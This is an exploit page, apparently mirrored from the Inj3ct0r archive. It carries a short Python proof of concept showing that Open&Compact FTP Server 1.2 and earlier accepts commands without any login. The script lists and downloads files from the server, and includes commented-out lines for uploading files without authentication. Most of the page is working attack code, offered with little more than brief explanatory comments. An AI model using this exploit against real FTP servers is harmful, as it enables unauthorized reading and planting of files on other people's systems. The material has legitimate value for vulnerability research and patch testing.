Home / os / win7

Open&Compact Ftp Server <= 1.2 Full System Access

Posted on 18 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Open&amp;Compact Ftp Server &lt;= 1.2 Full System Access</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=================================================
Open&amp;Compact Ftp Server &lt;= 1.2 Full System Access
=================================================


# Exploit Title: Open&amp;Compact Ftp Server &lt;= 1.2 Full System Access
# Date: June 12, 2010
# Software Link: http://sourceforge.net/projects/open-ftpd/
# Version: &lt;= 1.2
# Tested on: Windows 7, Windows XP SP3
#!/usr/bin/python
 
# Simply by omitting login process to the open ftp server it is possible
# to execute any command, including but not limited to: listing files,
# retrieving files, storing files.
# Below is an example of a few commands.
# If you want to test storing files with no authentication, create a
# test file and uncomment out line with ftp.storbinary function call.
 
# Any command will work as long as there is at least on user who has the permission
# to execute that command. For example, storing files will work as long
# as there is one user with write permission. No matter whom it is.
 
import ftplib
import os
 
# Connect to server
ftp = ftplib.FTP( &quot;127.0.0.1&quot; )
ftp.set_pasv( False )
 
# Note that we need no authentication at all!!
 
print ftp.retrlines( 'LIST' )
print ftp.retrbinary('RETR changelog.txt', open('changelog.txt', 'wb').write )
 
# filename = 'test.txt'
# f = open( filename, 'rb' )
# print ftp.storbinary( 'STOR ' + filename, f )
# f.close()
 
ftp.quit()


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-18]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :